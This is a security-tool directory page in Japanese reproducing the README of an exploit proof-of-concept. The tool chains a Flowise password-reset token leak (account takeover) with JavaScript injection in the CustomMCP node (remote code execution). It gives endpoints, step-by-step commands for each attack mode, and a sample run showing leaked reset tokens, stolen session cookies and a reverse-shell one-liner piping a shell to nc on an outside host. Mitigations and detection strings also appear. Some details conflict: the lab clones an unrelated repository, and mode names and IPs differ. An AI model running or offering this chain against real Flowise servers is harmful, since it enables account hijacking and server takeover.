Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Flowise-CVE-2025-58434-Chain-59528 — FlowiseAI CVE-2025-58434 および CVE-2025-59528 のエクスプロイト PoC。リセットトークンの漏洩による未認証の ATO、続いて認証済み RCE を実証します。再現可能な Docker ラボ環境を含みます。 | Kitploit
ツール/GitHubGitHub/0xdaeras/flowise-cve-2025-58434-chain-59528
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証学習と教育ラボと実践
GitHub0xdaeras/flowise-cve-2025-58434-chain-59528

Flowise-CVE-2025-58434-Chain-59528

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

FlowiseAI CVE-2025-58434 および CVE-2025-59528 のエクスプロイト PoC。リセットトークンの漏洩による未認証の ATO、続いて認証済み RCE を実証します。再現可能な Docker ラボ環境を含みます。

リポジトリを見る
13ヶ月前未レビュー

FlowiseAI CVE チェーン - ATO (CVE-2025-58434) および RCE (CVE-2025-59528)

CVE-2025-58434 CVSS-1 CVE-2025-59528 CVSS-2 Python License

⚠️ 教育および許可されたセキュリティ研究のみを目的としています。 このツールを、自分が所有していない、または書面によるテスト許可がないシステムに対して実行することは違法です。


目次

このリポジトリには、2つのFlowise脆弱性を連鎖させるPythonの概念実証コードが含まれています:

  • CVE-2025-58434 — パスワードリセットトークンの露出によるアカウント乗っ取り
  • CVE-2025-59528 — CustomMCPノードでの安全でないJavaScript評価によるリモートコード実行

Flowiseは、LLMアプリケーションやAIエージェントワークフローを構築するためのドラッグ&ドロッププラットフォームです。CVE-2025-59528はFlowise 3.0.5に影響し、3.0.6で修正されました。この問題は、CustomMCPノード内でのmcpServerConfigの安全でない処理に起因します。CVE-2025-58434はパスワードリセットトークンの露出に関連し、これもFlowise 3.0.6で対処されました。

このツールは以下をサポートします:

  • 脆弱性チェック
  • アカウント乗っ取りフロー
  • ログインとクッキー取得
  • 認証済みRCE
  • フルチェーンモード:ATO → ログイン → RCE

脆弱性の詳細

CVE-2025-58434 — アカウント乗っ取り

  • CVE ID: CVE-2025-58434
  • CVSS v3.1 スコア: 9.8(クリティカル)
  • 脆弱性タイプ: アカウント乗っ取り / 認証バイパス
  • 影響を受ける製品: Flowise
  • テスト済みの影響を受けるバージョン: Flowise 3.0.5
  • 修正バージョン: Flowise 3.0.6
  • 認証の必要性: なし
  • 影響: パスワードリセットトークンの開示、アカウント乗っ取り

脆弱なパスワードリセットフローは、一時的なパスワードリセットトークンを含む機密ユーザーデータをAPIレスポンスで露出します。有効なユーザーのメールアドレスを知る攻撃者は、パスワードリセットを要求し、レスポンスから一時トークンを取得し、それを使用してアカウントの新しいパスワードを設定できます。

この脆弱な動作は、同じAPIサーフェスを公開するFlowiseクラウドおよびセルフホスト/ローカルデプロイメントに影響します。修正方法は、パスワードリセットトークンや機密のアカウントリセットデータをAPIレスポンスで直接返さないことです。

CVE-2025-59528 — リモートコード実行

  • CVE ID: CVE-2025-59528
  • CVSS v3.1 スコア: 10.0(クリティカル)
  • 脆弱性タイプ: JavaScriptコードインジェクション / リモートコード実行
  • 影響を受ける製品: Flowise
  • テスト済みの影響を受けるバージョン: Flowise 3.0.5
  • 修正バージョン: Flowise 3.0.6
  • 認証の必要性: あり
  • 影響: Node.jsランタイム内での任意のJavaScript実行、Flowiseをホストするサーバー上でのRCE

この脆弱性はFlowiseのCustomMCPノードに存在します。mcpServerConfigパラメータはMCPサーバー設定プロセスの一部として解析され、セキュリティ検証なしでJavaScriptコードとして評価されます。これにより、認証された攻撃者が任意のJavaScriptコードを注入でき、FlowiseサーバーのNode.js環境で実行されます。convertToValidJSONString関数では、ユーザー入力がFunctionコンストラクタに渡され、入力が完全なNode.js権限を持つJavaScriptコードとして評価され、child_processなどのモジュールにアクセスしてシステムコマンドを実行できます。

このPoCで使用される脆弱なエンドポイントは次のとおりです:

root@kitploit:~
POST /api/v1/node-load-method/customMCP

JSONボディのmcpServerConfigフィールドにjsペイロードを指定します。例:

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "..."
  }
}

脆弱なコードはCustomMCP.tsファイルにあり、CVEのGitHubメンテナーアドバイザリで参照されています。


攻撃フロー

root@kitploit:~
攻撃者                                   Flowise
   │                                          │
   │  [CVE-2025-58434]                       │
   │  POST /api/v1/account/forgot-password   │
   │  { email }                              │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  ユーザーオブジェクト + tempToken        │
   │                                          │
   │  POST /api/v1/account/reset-password     │
   │  { email, tempToken, newPassword }       │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  パスワード変更                          │
   │                                          │
   │  POST /api/v1/auth/login                 │
   │  { email, newPassword }                  │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  token / refreshToken / connect.sid      │
   │                                          │
   │  [CVE-2025-59528]                       │
   │  POST /api/v1/node-load-method/customMCP │
   │  mcpServerConfig=<細工された設定>         │
   │─────────────────────────────────────────►│
   │                              Node.jsでJSが評価される
   │                              コマンドが実行される
   │◄─────────────────────────────────────────│
   │  コマンド出力またはペイロードが発火      │
   │                                          │
   ✓  アカウント乗っ取り + 認証済みRCE

リポジトリ構造:

root@kitploit:~
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/

インストール

ツール

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt

Docker Lab

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # 環境変数を設定
docker-compose up -d

使用法

デフォルトの動作

引数なしで実行すると、ツールは完全な攻撃チェーンを実行し、ターゲットの脆弱性を確認し、指定されたメールアドレスのアカウント乗っ取りを実行し、ログインしてクッキーを取得し、リバースシェルペイロードでRCE脆弱性を悪用します。フルチェーンモードでツールを実行する前に、専用のリスナー(例:nc -lvnp 9889)を実行してください。

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889

ヘルプ画面

root@kitploit:~
python3 exploit.py -h

モード

check-mode

ターゲットがCVE-2025-58434およびCVE-2025-59528に対して脆弱かどうかを判断するバージョンチェックを実行します。ターゲットのAPIにリクエストを送信し、レスポンスを分析してFlowiseのバージョンと脆弱性ステータスを特定します。

root@kitploit:~
python3 exploit.py --target http://localhost:3000 check

ato-mode

CVE-2025-58434のアカウント乗っ取りプロセスを実行します。指定されたメールアドレスに対してパスワードリセットリクエストを送信し、レスポンスから一時トークンを取得し、そのトークンを使用してアカウントの新しいパスワード(デフォルト: "Password123!")を設定します。

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode

login-mode

指定されたメールアドレスとパスワード(デフォルト: "Password123!")を使用してターゲットにログインします。成功すると、認証クッキー(例:connect.sid)を取得して表示し、認証済みリクエストに使用します。

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode

rce-mode

RCE脆弱性(CVE-2025-59528)を悪用するため、細工されたmcpServerConfigペイロードを脆弱なエンドポイントに送信します。ペイロードは、指定されたLHOSTおよびLPORTで攻撃者のマシンに接続を返すリバースシェルコマンドを実行するように設計されています。トークンが指定されていない場合は、自動的にログインを試みて有効なトークンを取得します。LHOST/LPORTが指定されていない場合は、デフォルトでレスポンスに出力を返す単純なidコマンドペイロードを使用します。フルチェーンモードでツールを実行する前に、専用のリスナー(例:nc -lvnp 9889)を実行してください。

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode

full-chain-mode

デフォルトモード。 攻撃チェーン全体を順次実行します:脆弱性の確認、アカウント乗っ取りの実行、ログインしてクッキーを取得、リバースシェルペイロードでRCE脆弱性を悪用します。フルチェーンモードでツールを実行する前に、専用のリスナー(例:nc -lvnp 9889)を実行してください。

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode

フラグリファレンス

ターゲットと認証

エクスプロイトモード

RCEオプション

安全性と出力

出力例

root@kitploit:~
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode

                                                                                                                                   
___________.__                .__                _________ .__           .__        
\_   _____/|  |   ______  _  _|__| ______ ____   \_   ___ \|  |__ _____  |__| ____   
 |    __)  |  |  /  _ \ \/ \/ /  |/  ___// __ \  /    \  \/|  |  \\__  \ |  |/    \  
 |     \   |  |_(  <_> )     /|  |\___ \\  ___/  \     \___|   Y  \/ __ \|  |   |  \ 
 \___  /   |____/\____/ \/\_/ |__/____  >\___  >  \______  /___|  (____  /__|___|  / 
     \/                               \/     \/          \/     \/     \/        \/  
                                                                                     

  ────────────────────────────────────────────────────────────────────────────────
[∗] ターゲットURL: http://localhost:3000
[∗] モジュール : full-mode
[∗] メール  : [email protected]
  ────────────────────────────────────────────────────────────────────────────────
[∗] ターゲットの脆弱性を確認中...
[+] ターゲットは脆弱である可能性が高いです。
  ────────────────────────────────────────────────────────────────────────────────
[∗] アカウント乗っ取り(CVE-2025-58434)を開始...
[+] パスワードリセットリクエストが正常に送信されました。
[∗] ターゲットユーザーデータ :

 🡪  ID             : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
 🡪  名前           : Lab Admin
 🡪  メール          : [email protected]
 🡪  資格情報       : $2a$10$lKbQNf8pVQXJFMzzW...
 🡪  ステータス     : active
 🡪  一時トークン   : AWtyV7mxIa6h12OhlB7H0mMl...
 🡪  トークン有効期限 : 2026-05-08T19:37:47.025Z

[∗] 一時トークンを使用してパスワードをリセット中...
[∗] 新しいパスワード : Password123!
[+] アカウント乗っ取り成功!新しい資格情報:

 🡪  メール          : [email protected]
 🡪  パスワード       : Password123!
  ────────────────────────────────────────────────────────────────────────────────
[∗] セッションクッキーを取得するためにログイン処理を開始...
[+] ログイン成功!
[+] 取得したセッショントークン :

 🡪  トークン          : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
 🡪  connect.sid    : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
 🡪  refreshToken   : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
  ────────────────────────────────────────────────────────────────────────────────
[∗] リモートコード実行(CVE-2025-59528)を開始...
[!] リバースシェルコマンドを使用する場合は、リスナーが準備できていることを確認してください!

[∗] リバースシェルコマンド: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] ターゲットURL: http://localhost:3000/api/v1/node-load-method/customMCP

[∗] RCEをトリガーするペイロードを送信中...
[+] ペイロードを送信しました。リバースシェル接続のためにリスナーを確認してください!
  ────────────────────────────────────────────────────────────────────────────────
[+] 作業完了。さようなら!

Docker Lab

安全なテストにはローカルラボをお勧めします。

ラボのインストール:

root@kitploit:~
cp .env.example .env  # 必要に応じて環境変数を設定
docker compose up -d --build
docker compose logs -f

デフォルトで2つのFlowiseアカウントが作成されます:

  • 管理者(Admin): メールアドレスは[email protected]、パスワードはコンテナ起動時にランダム生成されます(ログでパスワードを確認してください)。
  • ユーザー(User): メールアドレスは[email protected]、パスワードはコンテナ起動時にランダム生成されますが、ログには表示されません。これはATOフローの対象となることを意図しています。

ローカルインスタンスに対してPoCを実行:

root@kitploit:~
python3 exploit.py \
  -t http://localhost:3000 \
  -e [email protected] \
  --new-password 'Password123!' \
  --no-check \
  full-mode

Flowiseのログを確認するには:

root@kitploit:~
docker compose logs -f flowise-cve-lab

または:

root@kitploit:~
docker logs -f flowise-cve-lab

修正方法

一般的な推奨事項

CVE-2025-58434 に対する対策

  • Flowiseをバージョン3.0.6以降にアップグレードしてください。
  • パスワードリセットトークンをAPIレスポンスで返さないでください。
  • リセットトークンは登録されたメールチャネルを通じてのみ配信してください。
  • リセットトークンは1回の使用後に無効にしてください。
  • パスワードリセットエンドポイントに厳格な有効期限とレート制限を追加してください。

CVE-2025-59528 に対する対策

  • Flowiseをバージョン3.0.6以降にアップグレードしてください。
  • ユーザー制御の設定をJavaScriptとして評価しないでください。
  • 安全でないFunction、eval、または同等の動的実行パターンを削除してください。
  • MCP設定を実行可能コードではなく、厳格なデータとして検証および解析してください。

検出のアイデア

エクスプロイトの可能性を示す兆候:

  • /api/v1/node-load-method/customMCP へのリクエスト
  • JavaScriptのような構文を含む不審なmcpServerConfig値
  • process.mainModule、child_process、execSync、Buffer.from、Function などの文字列
  • パスワードリセットリクエストの直後に行われるログインとCustomMCPアクセス
  • Flowiseコンテナまたはホストからの外部接続

開示タイムライン

  • 2025-12-09: CVE-2025-58434がユーザー zaddy6 と arthurgervais により Github Advisory で開示され、詳細なレポートとPoCが添付されました。
  • 2025-13-09: CVE-2025-59528がユーザー im-soohyun により Github Advisory で開示され、詳細なレポートとPoCが添付されました。
  • 2025-15-09: 両方のCVEがFlowise 3.0.6で修正され、Github でリリースされました。

免責事項

このプロジェクトは教育目的、ラボテスト、および許可されたセキュリティ研究のために提供されています。

このツールをシステムに対して実行する前に、明示的な許可を得ていることを確認する責任はあなたにあります。著者は、このコードを使用した誤用、損害、または違法行為について責任を負いません。セキュリティテストを実施する際は、常に倫理的なガイドラインと法的要件に従ってください。


参考文献

  • CVE-2025-58434
  • CVE-2025-59528
  • Flowise GitHub リポジトリ
  • CVE-2025-58434 に関するFlowiseメンテナーアドバイザリ
  • CVE-2025-59528 に関するFlowiseメンテナーアドバイザリ
  • Flowise 3.0.6 リリースノート
ツールをダウンロード
フラグ説明例
-t, --targetターゲットのベースURL-t http://localhost:3000
-e, --emailターゲットアカウントのメール-e [email protected]
--passwordログイン/RCEモード用の既知のパスワード--password Password123!
--token既存のセッショントークン、ログインをスキップ--token eyJ...
--new-passwordATO中に設定するパスワード--new-password Password123!
モード説明
checkターゲットが脆弱かどうかを確認
ato-modeアカウント乗っ取りフローのみ実行
login-modeログインしてセッションクッキーを取得
rce-modeRCEフローのみ実行
full-modeATO、ログイン、RCEを連鎖
フラグ説明例
-c, --command実行するカスタムコマンド-c 'id'
--lhostリバースシェル用のリスナーホスト--lhost 10.10.14.3
--lportリバースシェル用のリスナーポート--lport 4444
フラグ説明デフォルト
--no-checkバージョン/脆弱性チェックをスキップFalse
-v, --verboseデバッグログを有効化False
--log-fileログファイルのパスlogs/exploit.log
--no-colorANSIカラーを無効化False